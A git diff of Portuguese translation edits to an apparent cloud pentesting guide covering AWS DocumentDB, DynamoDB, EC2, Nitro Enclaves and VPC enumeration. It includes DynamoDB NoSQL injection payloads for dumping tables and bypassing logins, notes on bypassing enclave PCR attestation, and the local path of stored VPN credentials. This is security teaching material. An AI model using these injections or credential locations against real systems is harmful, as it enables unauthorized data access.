 Amazon DocumentDB, oferecendo compatibilidade com MongoDB, é apresentado como um **serviço de banco de dados rápido, confiável e totalmente gerenciado**. Projetado para simplicidade na implantação, operação e escalabilidade, permite a **migração e operação sem problemas de bancos de dados compatíveis com MongoDB na nuvem**. Os usuários podem aproveitar este serviço para executar seu código de aplicativo existente e utilizar drivers e ferramentas familiares, garantindo uma transição e operação suaves, semelhantes ao trabalho com MongoDB.
 
-### Enumeration
+### Enumeração
 ```bash
 aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint"
 aws docdb describe-db-instances #Get hostnames from here
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
index 241e38766..9f7dce499 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md
@@ -6,9 +6,9 @@
 
 ### Informações Básicas
 
-O Amazon DynamoDB é apresentado pela AWS como um **banco de dados NoSQL totalmente gerenciado, sem servidor e baseado em chave-valor**, projetado para alimentar aplicações de alto desempenho, independentemente de seu tamanho. O serviço garante recursos robustos, incluindo medidas de segurança inerentes, backups ininterruptos, replicação automatizada em várias regiões, cache em memória integrado e utilitários convenientes de exportação de dados.
+O Amazon DynamoDB é apresentado pela AWS como um **banco de dados NoSQL, chave-valor, totalmente gerenciado e sem servidor**, projetado para alimentar aplicações de alto desempenho, independentemente de seu tamanho. O serviço garante recursos robustos, incluindo medidas de segurança inerentes, backups ininterruptos, replicação automatizada em várias regiões, cache em memória integrado e utilitários convenientes de exportação de dados.
 
-No contexto do DynamoDB, em vez de estabelecer um banco de dados tradicional, **tabelas são criadas**. Cada tabela exige a especificação de uma **chave de partição** como um componente integral da **chave primária da tabela**. Essa chave de partição, essencialmente um **valor hash**, desempenha um papel crítico tanto na recuperação de itens quanto na distribuição de dados entre vários hosts. Essa distribuição é fundamental para manter tanto a escalabilidade quanto a disponibilidade do banco de dados. Além disso, há a opção de incorporar uma **chave de ordenação** para refinar ainda mais a organização dos dados.
+No contexto do DynamoDB, em vez de estabelecer um banco de dados tradicional, **tabelas são criadas**. Cada tabela exige a especificação de uma **chave de partição** como um componente integral da **chave primária da tabela**. Essa chave de partição, essencialmente um **valor de hash**, desempenha um papel crítico tanto na recuperação de itens quanto na distribuição de dados entre vários hosts. Essa distribuição é fundamental para manter tanto a escalabilidade quanto a disponibilidade do banco de dados. Além disso, há a opção de incorporar uma **chave de ordenação** para refinar ainda mais a organização dos dados.
 
 ### Criptografia
 
@@ -16,7 +16,7 @@ Por padrão, o DynamoDB usa uma chave KMS que **pertence ao Amazon DynamoDB,** n
 
 <figure><img src="https://lh4.googleusercontent.com/JjtNS7aA-_GRMgZb4v93jWEQJi6DQdUPq0FEpzZPdeyCeNoG05p0NJiV9Zs-ULs_-Tfjmx0W1ZgsE2Ui2ljo7D-1a87Xny-gpLVQO0XmXdFoph9ci1RepbVNwaCe9oPruEZSEDxGTxF5dIv6pW1WpT6kWA=s2048" alt=""><figcaption></figcaption></figure>
 
-### Backups & Exportar para S3
+### Backups & Exportação para S3
 
 É possível **agendar** a geração de **backups de tabelas** ou criá-los **sob demanda**. Além disso, também é possível habilitar a **recuperação ponto a ponto (PITR) para uma tabela.** A recuperação ponto a ponto fornece **backups** contínuos dos seus dados do DynamoDB por **35 dias** para ajudar a proteger contra operações de escrita ou exclusão acidentais.
 
@@ -89,13 +89,13 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection
 
 ### Injeção NoSQL
 
-No DynamoDB, diferentes **condições** podem ser usadas para recuperar dados, como em uma injeção NoSQL comum. Se for possível **encadear mais condições para recuperar** dados, você pode obter dados ocultos (ou despejar toda a tabela).\
+No DynamoDB, diferentes **condições** podem ser usadas para recuperar dados, como em uma injeção NoSQL comum. Se for possível **encadear mais condições para recuperar** dados, você poderia obter dados ocultos (ou despejar toda a tabela).\
 Você pode encontrar aqui as condições suportadas pelo DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html)
 
-Observe que **diferentes condições** são suportadas se os dados estiverem sendo acessados via **`query`** ou via **`scan`**.
+Note que **diferentes condições** são suportadas se os dados estão sendo acessados via **`query`** ou via **`scan`**.
 
 > [!NOTE]
-> Na verdade, as ações de **Query** precisam especificar a **condição "EQ" (igual)** na chave **primária** para funcionar, tornando-a muito **menos propensa a injeções NoSQL** (e também limitando muito a operação).
+> Na verdade, ações de **Query** precisam especificar a **condição "EQ" (igual)** na chave **primária** para funcionar, tornando-a muito **menos propensa a injeções NoSQL** (e também limitando bastante a operação).
 
 Se você puder **mudar a comparação** realizada ou adicionar novas, poderá recuperar mais dados.
 ```bash
@@ -123,7 +123,7 @@ um atacante poderia injetar algo como:
 
 `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0`
 
-corrija a condição "EQ" buscando pelo ID 1000 e, em seguida, procurando todos os dados com uma string de Id maior que 0, que é tudo.
+corrija a condição "EQ" buscando pelo ID 1000 e, em seguida, procurando por todos os dados com uma string de Id maior que 0, que é tudo.
 
 Outro **exemplo vulnerável usando um login** poderia ser:
 ```python
@@ -152,7 +152,7 @@ Alguns SDKs permitem usar uma string indicando o filtro a ser realizado, como:
 ```java
 new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap)
 ```
-Você precisa saber que, ao pesquisar no DynamoDB para **substituir** um **valor** de atributo em **expressões de filtro** enquanto escaneia os itens, os tokens devem **começar** com o caractere **`:`**. Esses tokens serão **substituídos** pelo **valor do atributo real em tempo de execução**.
+Você precisa saber que ao pesquisar no DynamoDB para **substituir** um **valor** de atributo em **expressões de filtro** enquanto escaneia os itens, os tokens devem **começar** com o caractere **`:`**. Esses tokens serão **substituídos** pelo **valor do atributo real em tempo de execução**.
 
 Portanto, um login como o anterior pode ser contornado com algo como:
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
index 718d92032..09689cc03 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
@@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md
 
 ## EC2
 
-Amazon EC2 é utilizado para iniciar **servidores virtuais**. Ele permite a configuração de **segurança** e **rede** e a gestão de **armazenamento**. A flexibilidade do Amazon EC2 é evidente em sua capacidade de escalar recursos tanto para cima quanto para baixo, adaptando-se efetivamente a mudanças de requisitos ou aumentos de popularidade. Esse recurso diminui a necessidade de previsões precisas de tráfego.
+Amazon EC2 é utilizado para iniciar **servidores virtuais**. Ele permite a configuração de **segurança** e **rede** e a gestão de **armazenamento**. A flexibilidade do Amazon EC2 é evidente em sua capacidade de escalar recursos tanto para cima quanto para baixo, adaptando-se efetivamente a mudanças variáveis de requisitos ou aumentos de popularidade. Esse recurso diminui a necessidade de previsões precisas de tráfego.
 
 Coisas interessantes para enumerar no EC2:
 
@@ -29,7 +29,7 @@ Coisas interessantes para enumerar no EC2:
 
 ### Instance Profiles
 
-Usar **funções** para conceder permissões a aplicativos que rodam em **instâncias EC2** requer um pouco de configuração extra. Um aplicativo rodando em uma instância EC2 é abstraído da AWS pelo sistema operacional virtualizado. Por causa dessa separação extra, você precisa de um passo adicional para atribuir uma função da AWS e suas permissões associadas a uma instância EC2 e torná-las disponíveis para seus aplicativos.
+Usar **funções** para conceder permissões a aplicativos que rodam em **instâncias EC2** requer um pouco de configuração extra. Um aplicativo rodando em uma instância EC2 é abstraído da AWS pelo sistema operacional virtualizado. Por causa dessa separação extra, você precisa de um passo adicional para atribuir uma função AWS e suas permissões associadas a uma instância EC2 e torná-las disponíveis para seus aplicativos.
 
 Esse passo extra é a **criação de um** [_**perfil de instância**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) anexado à instância. O **perfil de instância contém a função e** pode fornecer as credenciais temporárias da função a um aplicativo que roda na instância. Essas credenciais temporárias podem então ser usadas nas chamadas de API do aplicativo para acessar recursos e limitar o acesso apenas aos recursos que a função especifica. Observe que **apenas uma função pode ser atribuída a uma instância EC2** por vez, e todos os aplicativos na instância compartilham a mesma função e permissões.
 
@@ -133,7 +133,7 @@ aws ec2 describe-vpc-peering-connections
 ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
 {{#endref}}
 
-### Privesc
+### Escalação de Privilégios
 
 Na página a seguir, você pode verificar como **abusar das permissões do EC2 para escalar privilégios**:
 
@@ -155,9 +155,9 @@ Os snapshots podem conter **informações sensíveis** como **código-fonte ou c
 
 ### Diferença AMI & EBS
 
-Uma **AMI** é usada para **iniciar uma instância EC2**, enquanto um **Snapshot** EC2 é usado para **fazer backup e recuperar dados armazenados em um volume EBS**. Embora um Snapshot EC2 possa ser usado para criar uma nova AMI, não é a mesma coisa que uma AMI, e não inclui informações sobre o sistema operacional, servidor de aplicativos ou outro software necessário para executar um aplicativo.
+Uma **AMI** é usada para **iniciar uma instância EC2**, enquanto um **Snapshot** do EC2 é usado para **fazer backup e recuperar dados armazenados em um volume EBS**. Embora um Snapshot do EC2 possa ser usado para criar uma nova AMI, não é a mesma coisa que uma AMI, e não inclui informações sobre o sistema operacional, servidor de aplicativos ou outro software necessário para executar um aplicativo.
 
-### Privesc
+### Escalação de Privilégios
 
 Na página a seguir, você pode verificar como **abusar das permissões do EBS para escalar privilégios**:
 
@@ -209,7 +209,7 @@ aws elbv2 describe-load-balancers
 aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName'
 aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
 ```
-## Modelos de Lançamento & Grupos de Autoescalonamento
+## Modelos de Lançamento e Grupos de Autoscaling
 
 ### Enumeração
 ```bash
@@ -228,9 +228,9 @@ aws autoscaling describe-load-balancers
 ```
 ## Nitro
 
-AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hipervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta.
+AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hypervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que as instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta.
 
-Obtenha mais informações e como enumerá-las em:
+Obtenha mais informações e como enumerá-lo em:
 
 {{#ref}}
 aws-nitro-enum.md
@@ -265,7 +265,7 @@ Uma VPN permite conectar sua **rede local (site-to-site VPN)** ou os **laptops d
 
 Você pode [**encontrar mais informações sobre os benefícios e componentes das VPNs AWS aqui**](aws-vpc-and-networking-basic-information.md#vpn).
 
-### Enumeration
+### Enumeração
 ```bash
 # VPN endpoints
 ## Check used subnetwork, authentication, SGs, connected...
@@ -293,7 +293,7 @@ aws ec2 describe-vpn-connections
 
 **Credenciais Temporárias Locais**
 
-Quando o Cliente VPN da AWS é usado para se conectar a uma VPN, o usuário geralmente **faz login na AWS** para obter acesso à VPN. Em seguida, algumas **credenciais da AWS são criadas e armazenadas** localmente para estabelecer a conexão VPN. Essas credenciais são **armazenadas em** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` e contêm uma **AccessKey**, uma **SecretKey** e um **Token**.
+Quando o AWS VPN Client é usado para se conectar a uma VPN, o usuário geralmente **faz login no AWS** para obter acesso à VPN. Em seguida, algumas **credenciais do AWS são criadas e armazenadas** localmente para estabelecer a conexão VPN. Essas credenciais são **armazenadas em** `$HOME/.config/AWSVPNClient/TemporaryCredentials/<region>/temporary-credentials.txt` e contêm uma **AccessKey**, uma **SecretKey** e um **Token**.
 
 As credenciais pertencem ao usuário `arn:aws:sts::<acc-id>:assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: pesquisar mais sobre as permissões dessas credenciais).
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
index ce8f74205..faa3c796b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md
@@ -31,9 +31,9 @@ nitro-cli --version
 # Start and enable the Nitro Enclaves allocator service.
 sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service
 ```
-## Nitro Enclave Images
+## Imagens do Nitro Enclave
 
-As imagens que você pode executar no Nitro Enclave são baseadas em imagens docker, então você pode criar suas imagens Nitro Enclave a partir de imagens docker como:
+As imagens que você pode executar no Nitro Enclave são baseadas em imagens docker, então você pode criar suas imagens do Nitro Enclave a partir de imagens docker como:
 ```bash
 # You need to have the docker image accesible in your running local registry
 # Or indicate the full docker image URL to access the image
@@ -82,9 +82,9 @@ Não é **possível obter um shell** dentro de uma imagem de enclave em execuç
 ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID")
 nitro-cli console --enclave-id ${ENCLAVE_ID}
 ```
-### Terminar Enclaves
+### Encerrar Enclaves
 
-Se um atacante comprometer uma instância EC2, por padrão, ele não conseguirá obter um shell dentro delas, mas poderá **terminá-las** com:
+Se um atacante comprometer uma instância EC2, por padrão, ele não conseguirá obter um shell dentro delas, mas poderá **encerrá-las** com:
 ```shell
 nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
 ```
@@ -92,10 +92,10 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
 
 A única maneira de se comunicar com uma **enclave** executando imagens é usando **vsocks**.
 
-**Virtual Socket (vsock)** é uma família de sockets no Linux especificamente projetada para facilitar a **comunicação** entre máquinas virtuais (**VMs**) e seus **hipervisores**, ou entre as VMs **entre si**. Vsock permite uma **comunicação** eficiente e **bidirecional** sem depender da pilha de rede do host. Isso torna possível que as VMs se comuniquem mesmo sem configurações de rede, **usando um ID de Contexto de 32 bits (CID) e números de porta** para identificar e gerenciar conexões. A API vsock suporta tanto tipos de socket de stream quanto de datagrama, semelhante ao TCP e UDP, fornecendo uma ferramenta versátil para aplicações de nível de usuário em ambientes virtuais.
+**Virtual Socket (vsock)** é uma família de sockets no Linux projetada especificamente para facilitar a **comunicação** entre máquinas virtuais (**VMs**) e seus **hypervisors**, ou entre as VMs **entre si**. Vsock permite uma **comunicação** eficiente e **bidirecional** sem depender da pilha de rede do host. Isso torna possível que as VMs se comuniquem mesmo sem configurações de rede, **usando um ID de Contexto de 32 bits (CID) e números de porta** para identificar e gerenciar conexões. A API vsock suporta tanto tipos de socket de stream quanto de datagrama, semelhante ao TCP e UDP, fornecendo uma ferramenta versátil para aplicações de nível de usuário em ambientes virtuais.
 
 > [!TIP]
-> Portanto, um endereço vsock se parece com isso: `<CID>:<Port>`
+> Portanto, um endereço vsock se parece com isto: `<CID>:<Port>`
 
 Para encontrar os **CIDs** das imagens de enclave em execução, você pode simplesmente executar o seguinte comando e obter o **`EnclaveCID`**:
 
@@ -136,7 +136,7 @@ Encontre aqui alguns exemplos:
 
 <details>
 
-<summary>Listener Python Simples</summary>
+<summary>Simple Python Listener</summary>
 ```python
 #!/usr/bin/env python3
 
@@ -167,7 +167,7 @@ print(f"Received bytes: {buf}")
 # Using socat
 socat VSOCK-LISTEN:<port>,fork EXEC:"echo Hello from server!"
 ```
-### Vsock Client
+### Cliente Vsock
 
 Exemplos:
 
@@ -198,11 +198,11 @@ echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000
 ```
 ### Vsock Proxy
 
-A ferramenta vsock-proxy permite fazer proxy de um proxy vsock com outro endereço, por exemplo:
+A ferramenta vsock-proxy permite fazer proxy de um vsock proxy com outro endereço, por exemplo:
 ```bash
 vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml
 ```
-Isso encaminhará a **porta local 8001 em vsock** para `ip-ranges.amazonaws.com:443` e o arquivo **`your-vsock-proxy.yaml`** pode ter este conteúdo permitindo acessar `ip-ranges.amazonaws.com:443`:
+Isso irá encaminhar a **porta local 8001 em vsock** para `ip-ranges.amazonaws.com:443` e o arquivo **`your-vsock-proxy.yaml`** pode ter este conteúdo permitindo acessar `ip-ranges.amazonaws.com:443`:
 ```yaml
 allowlist:
 - { address: ip-ranges.amazonaws.com, port: 443 }
@@ -216,18 +216,18 @@ v_str LISTEN 0      0
 
 O SDK do Nitro Enclaves permite que um enclave solicite um **documento de atestação assinado criptograficamente** do **Hypervisor** Nitro, que inclui **medidas únicas** específicas para aquele enclave. Essas medidas, que incluem **hashes e registros de configuração da plataforma (PCRs)**, são usadas durante o processo de atestação para **provar a identidade do enclave** e **construir confiança com serviços externos**. O documento de atestação normalmente contém valores como PCR0, PCR1 e PCR2, que você já encontrou antes ao construir e salvar um EIF de enclave.
 
-A partir da [**documentação**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), estes são os valores de PCR:
+A partir da [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), estes são os valores de PCR:
 
-<table><thead><tr><th width="97">PCR</th><th width="221">Hash de ...</th><th>Descrição</th></tr></thead><tbody><tr><td>PCR0</td><td>Arquivo de imagem do enclave</td><td>Uma medida contígua do conteúdo do arquivo de imagem, sem os dados da seção.</td></tr><tr><td>PCR1</td><td>Kernel Linux e bootstrap</td><td>Uma medida contígua dos dados do kernel e do ramfs de inicialização.</td></tr><tr><td>PCR2</td><td>Aplicação</td><td>Uma medida contígua e em ordem das aplicações de usuário, sem o ramfs de inicialização.</td></tr><tr><td>PCR3</td><td>Função IAM atribuída à instância pai</td><td>Uma medida contígua da função IAM atribuída à instância pai. Garante que o processo de atestação seja bem-sucedido apenas quando a instância pai tiver a função IAM correta.</td></tr><tr><td>PCR4</td><td>ID da instância da instância pai</td><td>Uma medida contígua do ID da instância pai. Garante que o processo de atestação seja bem-sucedido apenas quando a instância pai tiver um ID de instância específico.</td></tr><tr><td>PCR8</td><td>Certificado de assinatura do arquivo de imagem do enclave</td><td>Uma medida do certificado de assinatura especificado para o arquivo de imagem do enclave. Garante que o processo de atestação seja bem-sucedido apenas quando o enclave foi inicializado a partir de um arquivo de imagem de enclave assinado por um certificado específico.</td></tr></tbody></table>
+<table><thead><tr><th width="97">PCR</th><th width="221">Hash de ...</th><th>Descrição</th></tr></thead><tbody><tr><td>PCR0</td><td>Arquivo de imagem do enclave</td><td>Uma medida contígua do conteúdo do arquivo de imagem, sem os dados da seção.</td></tr><tr><td>PCR1</td><td>Kernel Linux e bootstrap</td><td>Uma medida contígua dos dados do kernel e do ramfs de inicialização.</td></tr><tr><td>PCR2</td><td>Aplicação</td><td>Uma medida contígua e em ordem das aplicações do usuário, sem o ramfs de inicialização.</td></tr><tr><td>PCR3</td><td>Função IAM atribuída à instância pai</td><td>Uma medida contígua da função IAM atribuída à instância pai. Garante que o processo de atestação seja bem-sucedido apenas quando a instância pai tiver a função IAM correta.</td></tr><tr><td>PCR4</td><td>ID da instância da instância pai</td><td>Uma medida contígua do ID da instância pai. Garante que o processo de atestação seja bem-sucedido apenas quando a instância pai tiver um ID de instância específico.</td></tr><tr><td>PCR8</td><td>Certificado de assinatura do arquivo de imagem do enclave</td><td>Uma medida do certificado de assinatura especificado para o arquivo de imagem do enclave. Garante que o processo de atestação seja bem-sucedido apenas quando o enclave foi inicializado a partir de um arquivo de imagem de enclave assinado por um certificado específico.</td></tr></tbody></table>
 
 Você pode integrar **atestação criptográfica** em suas aplicações e aproveitar integrações pré-construídas com serviços como **AWS KMS**. O AWS KMS pode **validar atestações de enclave** e oferece chaves de condição baseadas em atestação (`kms:RecipientAttestation:ImageSha384` e `kms:RecipientAttestation:PCR`) em suas políticas de chave. Essas políticas garantem que o AWS KMS permita operações usando a chave KMS **somente se o documento de atestação do enclave for válido** e atender às **condições especificadas**.
 
 > [!TIP]
-> Observe que Enclaves no modo de depuração (--debug) geram documentos de atestação com PCRs que são compostos por zeros (`000000000000000000000000000000000000000000000000`). Portanto, as políticas do KMS que verificam esses valores falharão.
+> Note que Enclaves no modo de depuração (--debug) geram documentos de atestação com PCRs que são compostos por zeros (`000000000000000000000000000000000000000000000000`). Portanto, as políticas do KMS que verificam esses valores falharão.
 
 ### Bypass de PCR
 
-Do ponto de vista de um atacante, note que alguns PCRs permitiriam modificar algumas partes ou toda a imagem do enclave e ainda seriam válidos (por exemplo, o PCR4 apenas verifica o ID da instância pai, então executar qualquer imagem de enclave nessa EC2 permitirá cumprir esse potencial requisito de PCR).
+Do ponto de vista de um atacante, observe que alguns PCRs permitiriam modificar algumas partes ou toda a imagem do enclave e ainda seriam válidos (por exemplo, o PCR4 apenas verifica o ID da instância pai, então executar qualquer imagem de enclave naquela EC2 permitirá cumprir esse potencial requisito de PCR).
 
 Portanto, um atacante que comprometer a instância EC2 pode ser capaz de executar outras imagens de enclave para contornar essas proteções.
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
index 6e0c0ff4d..acce85b22 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md
@@ -8,7 +8,7 @@ Uma **VPC** contém um **CIDR de rede** como 10.0.0.0/16 (com sua **tabela de ro
 
 Esta rede VPC é dividida em **subredes**, então uma **subrede** está diretamente **relacionada** com a **VPC**, **tabela de roteamento** e **ACL de rede**.
 
-Então, as **Interfaces de Rede** anexadas a serviços (como instâncias EC2) estão **conectadas** às **subredes** com **grupo(s) de segurança**.
+Então, as **Interfaces de Rede** conectadas a serviços (como instâncias EC2) estão **conectadas** às **subredes** com **grupo(s) de segurança**.
 
 Portanto, um **grupo de segurança** limitará as portas expostas das **interfaces de rede que o utilizam**, **independentemente da subrede**. E uma **ACL de rede** **limitará** as portas expostas para a **rede inteira**.
 
@@ -25,7 +25,7 @@ Além disso, para **acessar a Internet**, há algumas configurações interessan
 
 ## VPC
 
-A **Nuvem Privada Virtual** da Amazon (Amazon VPC) permite que você **inicie recursos da AWS em uma rede virtual** que você definiu. Esta rede virtual terá várias subredes, Gateways da Internet para acessar a Internet, ACLs, Grupos de segurança, IPs...
+A **Nuvem Privada Virtual** da Amazon (Amazon VPC) permite que você **inicie recursos da AWS em uma rede virtual** que você definiu. Esta rede virtual terá várias subredes, Gateways de Internet para acessar a Internet, ACLs, Grupos de segurança, IPs...
 
 ### Subnets
 
@@ -46,7 +46,7 @@ As tabelas de roteamento determinam o roteamento de tráfego para uma subrede de
 
 - VPC local
 - NAT
-- Gateways da Internet / Gateways de internet apenas de saída (necessários para dar acesso a uma VPC à Internet).
+- Gateways da Internet / gateways de internet apenas de saída (necessários para dar acesso a VPC à Internet).
 - Para tornar uma subrede pública, você precisa **criar** e **anexar** um **gateway da Internet** à sua VPC.
 - Pontos de extremidade da VPC (para acessar o S3 de redes privadas)
 
@@ -65,7 +65,7 @@ Nas imagens a seguir, você pode verificar as diferenças em uma rede pública p
 
 ### Security Groups
 
-Os grupos de segurança são um **firewall** virtual que controla o tráfego de rede **de entrada e saída para instâncias** em uma VPC. Relação 1 SG para M instâncias (geralmente 1 para 1).\
+Os grupos de segurança são um **firewall** virtual que controla o tráfego de rede de entrada e saída para **instâncias** em uma VPC. Relação 1 SG para M instâncias (geralmente 1 para 1).\
 Normalmente, isso é usado para abrir portas perigosas em instâncias, como a porta 22, por exemplo:
 
 <figure><img src="https://lh5.googleusercontent.com/LliB7eb3cYfkEyOpyw1-eYgWsn2kq1yF6uRn5VYndvOuTvDlURimYx9UvuK8F2impTLmx50mid4MdTXE-Ljt2i_rxaIfnKUdji_hFjCdU9tdoW-axng9-W4tSL71gbbjrPQ7IYY5lAdH_G3UoMRMGGGOxQ=s2048" alt=""><figcaption></figcaption></figure>
@@ -80,7 +80,7 @@ Por padrão, todas as subredes têm a **atribuição automática de endereços I
 
 **Uma rota local dentro de uma tabela de roteamento permite a comunicação entre subredes da VPC.**
 
-Se você estiver **conectando uma subrede com uma subrede diferente, não poderá acessar as subredes conectadas** com a outra subrede, você precisa criar conexão com elas diretamente. **Isso também se aplica a gateways da internet**. Você não pode passar por uma conexão de subrede para acessar a internet, você precisa atribuir o gateway da internet à sua subrede.
+Se você está **conectando uma subrede com uma subrede diferente, não pode acessar as subredes conectadas** com a outra subrede, você precisa criar uma conexão com elas diretamente. **Isso também se aplica a gateways da internet**. Você não pode passar por uma conexão de subrede para acessar a internet, você precisa atribuir o gateway da internet à sua subrede.
 
 ### VPC Peering
 
@@ -92,7 +92,7 @@ Cada VPC da AWS **se comunicará apenas com seu par**. Como exemplo, se você ti
 
 ### **VPC Flow Logs**
 
-Dentro da sua VPC, você pode potencialmente ter centenas ou até milhares de recursos se comunicando entre diferentes subredes, tanto públicas quanto privadas, e também entre diferentes VPCs através de conexões de peering de VPC. **Os VPC Flow Logs permitem que você capture informações de tráfego IP que fluem entre suas interfaces de rede de seus recursos dentro da sua VPC**.
+Dentro da sua VPC, você pode ter potencialmente centenas ou até milhares de recursos se comunicando entre diferentes subredes, tanto públicas quanto privadas, e também entre diferentes VPCs através de conexões de peering de VPC. **Os VPC Flow Logs permitem que você capture informações de tráfego IP que fluem entre suas interfaces de rede de seus recursos dentro da sua VPC**.
 
 Ao contrário dos logs de acesso do S3 e dos logs de acesso do CloudFront, os **dados de log gerados pelos VPC Flow Logs não são armazenados no S3. Em vez disso, os dados de log capturados são enviados para os logs do CloudWatch**.
 
@@ -100,9 +100,9 @@ Limitações:
 
 - Se você estiver executando uma conexão de peering de VPC, então você só poderá ver os logs de fluxo das VPCs pareadas que estão dentro da mesma conta.
 - Se você ainda estiver executando recursos dentro do ambiente EC2-Classic, então, infelizmente, você não poderá recuperar informações de suas interfaces.
-- Uma vez que um VPC Flow Log foi criado, ele não pode ser alterado. Para alterar a configuração do VPC Flow Log, você precisa excluí-lo e, em seguida, recriar um novo.
+- Uma vez que um VPC Flow Log foi criado, ele não pode ser alterado. Para alterar a configuração do VPC Flow Log, você precisa excluí-lo e então recriar um novo.
 - O tráfego a seguir não é monitorado e capturado pelos logs. Tráfego DHCP dentro da VPC, tráfego de instâncias destinado ao Servidor DNS da Amazon.
-- Qualquer tráfego destinado ao endereço IP do roteador padrão da VPC e tráfego de e para os seguintes endereços, 169.254.169.254, que é usado para coletar metadados da instância, e 169.254.169.123, que é usado para o Serviço de Sincronização de Tempo da Amazon.
+- Qualquer tráfego destinado ao endereço IP do roteador padrão da VPC e tráfego de e para os seguintes endereços, 169.254.169.254 que é usado para coletar metadados da instância, e 169.254.169.123 que é usado para o Serviço de Sincronização de Tempo da Amazon.
 - Tráfego relacionado a uma licença de ativação do Windows da Amazon de uma instância Windows.
 - Tráfego entre uma interface de balanceador de carga de rede e uma interface de rede de ponto de extremidade.
 
@@ -121,14 +121,14 @@ Para cada interface de rede que publica dados no grupo de logs do CloudWatch, se
 - Um Virtual Private Gateway (VPG) é o concentrador VPN do lado da Amazon da conexão VPN Site-to-Site.
 - Ele está anexado à sua VPC e serve como o alvo para sua conexão VPN.
 - O VPG é o ponto de extremidade do lado da AWS para a conexão VPN.
-- Ele gerencia a comunicação segura entre sua VPC e sua rede local.
+- Ele lida com a comunicação segura entre sua VPC e sua rede local.
 3. **Site-to-Site VPN Connection**:
 - Uma conexão VPN Site-to-Site conecta sua rede local a uma VPC através de um túnel VPN IPsec seguro.
-- Esse tipo de conexão requer um Customer Gateway e um Virtual Private Gateway.
+- Este tipo de conexão requer um Customer Gateway e um Virtual Private Gateway.
 - É usado para comunicação segura, estável e consistente entre seu data center ou rede e seu ambiente AWS.
